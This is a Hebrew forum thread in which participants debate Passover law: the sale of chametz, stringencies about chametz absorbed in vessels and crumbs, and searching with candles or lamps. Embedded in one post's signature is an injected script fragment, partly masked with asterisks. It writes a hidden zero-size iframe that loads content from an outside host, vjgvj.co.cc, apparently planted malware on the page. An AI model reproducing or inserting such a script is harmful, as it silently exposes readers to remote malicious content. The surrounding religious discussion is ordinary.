מכירת חמץ - על שום מה

חוץ מזה שיש בזה משום תמיכה ברב המוכר בזמן שכולם צריכים למעות אני לא חושב שיש בזה עניין נוסף ולכן אישית אני באמת נמנע מזה [ובעניין הפרנסה אפשר בידי אחרים..] אם כי יתכן שיהיו תרופות או  מוצרי קוסמיקה שיש בהם תערובת חמץ והם לא נפסלו מאכילת כלב ולכן יש בזה משום תקנה לכלל הציבור וכבר ידוע לי על מקרים שהמכירה הצילה בדיעבד מהפסד מרובה

_________________

יתכן

יפה סיכמת.

יש לי קצת להוסיף.

בדיני חמץ יש לנו דוגמא של התנגשות בין שני עיקרים:

סילוק החמץ במידת האפשר מחיי האדם במהלך הפסח. צריך כמובן לבאר מדוע חמץ מפריע כל כך ומדוע סילוקו חשוב כל כך, אך נקבל זאת כהנחת יסוד שיכולה להתבאר על רקע ההקשר.

הפגיעה בחיי האדם בשל השינוי מאורחות החיים הרגילים (שינוי שבעצמו תורם לרושם של המצוה).

כל הלכה שהיא מהווה איזון בין המטרה הראשית שלה לבין המחיר שהיא גובה.

לפי זה, בתולדות דיני חמץ וביעורו יהיו נטיות לשני הכיוונים.

נכון הוא שבגמרא לא מצאנו מכירת חמץ כתקנה כללית. אבל מצאנו שמותר למכור את החמץ לפני החג גם אם הגוי לא יבערנו לפני החג (כך שיטת ב"ש). מזה נולדה העצה למכור את החמץ.

אם נדלג עד תקופתנו, הרי היום יש הישענות רבה על המילה הכתובה בספר. אין סומכים עוד על המנהג החי אלא על הספר, ובדרך כלל על הספר עם החומרות.

וכאן פועל הרצון הטוב להחמיר משום שחומרה היא יראת שמים.

וכאשר כאן איסור חמץ נדרש באופן קבלי, זה רק מחזק את הרצון להחמיר.

אזכיר כי בגמרא נחלקו אמוראים אם מותר לשמור כלים שבלעו חמץ לשימוש לאחר הפסח. מי שהתיר סבר שאין איסור לאחר הפסח (אפשר לומר בדבר כמה טעמים, כגון שזה נותן טעם לפגם, אבל איני זוכר את הסוגיה). מי שאסר סבר שהחמץ שבכלי חוזר ונבלע במה שיתבשל בו לאחר הפסח.

אבל אף אחד משני הצדדים לא סבר שחמץ שבלוע בכלים טעון ביעור מפני שהוא חמץ חשוב לעבור עליו כאיסור, בין מדאורייתא בין מדרבנן.

ויותר מכך, כבר אמרו בגמרא שפירורים בטלים מאליהם. ולא מצאנו שיעור ברור מזה, אם קצת פחות מכזית או גודל יותר קטן. (נכון שיש פוסקים שטענו שאין זה היתר מאליו אלא רק בהצטרף עוד תנאים כמו שם בגמרא שהפירורים אולי בחצר וייאכלו בידי ציפורים אבל אין זה עיקרה של סוגיה).

החומרה מבוססת לכאורה על צירוף של שתי הנחות שכל אחת נאמרה במקום אחר:

יש איסור של בל יראה ובל יימצא.

יש איסור  אפילו במשהו.

האיסור השני נאמר בתערובות שבפסח. שאם נבלע איסור חמץ בתערובת, אין אומרים שיש כאן ביטול וכל התערובת מותרת, אלא היא אסורה. (גם כאן יש חומרות כגון חומרת הרמ"א בהסתמך על מקורות לפניו שלפי זה יש לאסור גם בתערובת חמץ בפסח שהיא נותן טעם לפגם).

אסורה באכילה או בהנאה, אבל לא לעבור עליה בבל ייראה ובבל יימצא, ולהתחייב בביעורה.

למסקנה: יתכן שאל "למה" מחמירים. התשובה היא שהתרגלו להאמין שזה חשוב, ובמיוחד כאן.

ויש כאן דבר נוסף. אחד מעקרונות החינוך האורתודוכסי בן זמננו (הדורות האחרונים) הוא שאין להסתמך על סברה ושיקול הדעת בפסיקת הלכה. אין אנו יודעים טעמן של הלכות ואין אנו יודעים להכריע במחלוקות ולכן נשאר לנו רק להחמיר וזה רצון ה'. גם כאשר המנהג המקובל להחמיר הוא נגד המקורות (כפי שהבאתי כאן) אין זה משנה כלום, כי אנו קטנים מכדי לדעת ולהבין מה נכון ומה לא, מה סותר ומה לא. ה"חינוך" הזה מצליח ואפילו מצליח מדי. גם כאן, במכירת חמץ שבכלים.

__

*** נוספה שורה אחת שבלעדיה היה מקום לאי הבנה - לגבי טיב איסור משהו

_______________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

יתכן

1.
לגבי ההוכחה שלך מהמציאות ההיסטורית (על כלי החרס) - 
זה הזכיר לי את הקטע עם המגן אברהם שהגיע למסקנה שאסור לבדוק חמץ בנר עם שמן, כי בגלל שזה עלול לטפטף אנשים לא יבדקו היטב (מקווה שמובן מה מוזר פה, וכבר רש"ז מלאדי טען זאת)


2. 
אתה מיום ליום הופך יותר ויותר לחידה בעיניי.
מה מטרת האשכול הזה?
א. לקדם יותר שריפות - במקום מכירות - חמץ? למה זה טוב, מבחינתך? הרי השריפות עושות בלגן, לכלוך ונזק סביבתי אדיר. המכירות הן סטריליות...
ב. לקדם שיפסיקו למכור? מה אכפת לך? שימכרו. 
ג. להראות את האבסורד שבדברים שאנשים עושים כי ככה לימדו אותם?
(הרסתי לך את הפואנטה? :-(  )

_________________

הנוכח

לגבי המגן אברהם. שמא התכוונת לנר חלב (בצירה)?

ומה מוזר כאן? לא הבנתי. התוכל לבאר?

לגבי מטרת הדיון, מה רע ב"להגדיל תורה ולהאדיר"? ללמוד את מקורות הסוגיה ואת התפתחותה ואלו עקרונות פעלו כאן, במודע ולא במודע?

מיימוני

תמהני עליך שאינך יודע שאין לבדוק בנר שמן ויש מחלוקת אם בדיעבד זה טוב (אורח חיים תל"ג ב')
על פי אגדה ששמעתי לפני שנה (אולי מוטעית), ר' שניאור זלמן מלאדי העיר על כך שסתם נר שבתקופת המשנה והתלמוד הוא נר של שמן,
(ראה למשל כאן http://en.wikipedia.org/wiki/History_of_candle_making)
ועל כן לא יתכן שנר של שמן פסול לבדיקה 


לגבי הלהגדיל תורה ולהאדירה... נו נו...

_________________

הנוכח

לא, לא הכרתי. אני לומד את המקורות (תלמוד) אבל לא את ספרי האחרונים (שולחן ערוך והלאה). דרכי היא לפסוק מן המקורות ולא מספרי ליקוטים, שנשענים יותר מדי על שיטות של פרשנות ועל מנהגים.

כיון שכתבת ושאלת, חזרתי ובדקתי נושא זה, ואין כמו התקליטור של בר אילן כדי לבדוק דבר מיסודותיו.

לגבי איסור בדיקת הנר, כמדומה שההתפתחות של העדפת נר שעווה היא כזו:

א. יש מצוה מן התורה להיות בלי חמץ בפסח, ואף לבערו.
ב. הובן שאין זה מספיק להטמין את החמץ אלא צריך שלא יהיה בשום מקום.
ג. לכן תיקנו שיצטרכו גם לחפש אחריו כדי לקיים את המצוה במלואה.
ד. היה קשה לחפש בבית שאין בו אורה, אפילו ביום, שהרי החלונות היו קטנים וחשמל לא היה.
ה. תיקנו נר.
ו. ובלילה, שבו אור הנר מבהיק יותר וגם מפני שפנויים בו יותר. וכן שזו תחילת היום שלפני פסח.
ז. הטכנולוגיה המשופרת ביותר של ימי חז"ל היתה, כדבריך, מה שנקרא "נר" שהינו קופסה קטנה מחרס עם נקב או שנים שממלאים אותה בשמן ונועצים בה פתילה ומדליקים אותה.
ח. כבר בימי הגמרא מצאנו שאסרו אבוקה, שיש בה כמה פתילות, ולמרות שאורה רב, לפי שאינו יכול לקרבנה למקומות צרים שאולי הניח בהם חמץ, או אולי שמא נפל בהם חמץ.
ט. לפי שיקול זה, יש לבחור לחיפוש את כלי המאור המאיר ביותר והבטיחותי ביותר. ולפי זה, בזמננו, ברור שיש להעדיף פנס חשמלי, והטוב ביותר הוא זה שהתחדש לאחרונה ו"לד" שמו. וכן נוהגים אצלנו.

סקירה של מקורות שמתבארים לפי הטעם הזה:

וכיון דאתא לידן נימא בה מילתא.
[= כיון שהגיע הדבר לידנו, נאמר בו משהו. לשון מקובלת לתוספת של חידוש והבהרה].

ראשית, לשאלת ייתכן: אפשר שהחיזוק לחיפוש אחרי פירורים הגיע מן הלשון "חורין וסדקין".

ייראה לי שהלשון הזו מצביעה, בימי המשנה והגמרא, על חורים בכתלי הבית, שהשתמשו בהם כעין מגירות בארונות שלנו היום. והרי באמת אפשר שהניחו בהם חמץ, בכוונה או במקרה.

צא וראה שחורים כאלו היו חלק מן הבניה, ואף יכלו לחבר בין שתי דירות שיש להן כותל משותף כפי שמצאנו ברשימת ההלכות של אז.

במשך הדורות, השתנתה צורת הבניה (יש לעיין במה נבדלה הבניה של בבל מאירופה, ואיני יודע אלא רק יכול לשער. אולי באירופה בימי הראש כבר נהגו בעץ? בעוד שבבבל וארץ ישראל היו משתמשים בטיט, או באבנים סדוקות? ואין כוונתי לעשירים אלא לכל אדם ולעניים). לפיכך, המונח "חורים וסדקים" כבר לא ציין מגירה גדולה שיש בה מקום לכזית לחם לכל הפחות אלא דבר קטן יותר.

חשבו לרגע מה נקרא אצלנו בליל בדיקת חמץ "לחפש בחורים וסדקים", ובאיזה גודל של חורים מדובר. יש נוהגים להחביא פתיתים (יש נוהגים בחמץ ממש, ועוטפים שלא יתפורר ויתפזר יותר) כדי שהבודק יתאמץ וימצא. הרי החיפוש הזה נעשה על פחות מכזית לפי מקצת שיטות.

לפיכך, אפשר שלא במודע החיפוש מתמקד במקומות קטנים וצרים שבעצם היו צריכים להיות פטורים. ויש לנו סוגיות שדנות מה יקרה אם יש כמה פחות מכזיתים חמץ בכמה מקומות בבית. ולמסקנה אין הבית מצרפם, וייראה לי שכל אחד בטל במקומו (אבל אפשר לדייק גם הפוך).

***
ועוד דבר שנתחדש לי וזה חידוש גדול עבורי.

בגמרא שאלו נר מנין וענו תשובה מפורסמת:

ייתכן
על פסח אתה שואל שאלות?
מכירה על שום מה?
קטניות על שום מה?
שרויה על שום מה?
שום על שום מה?
וכו'

_________________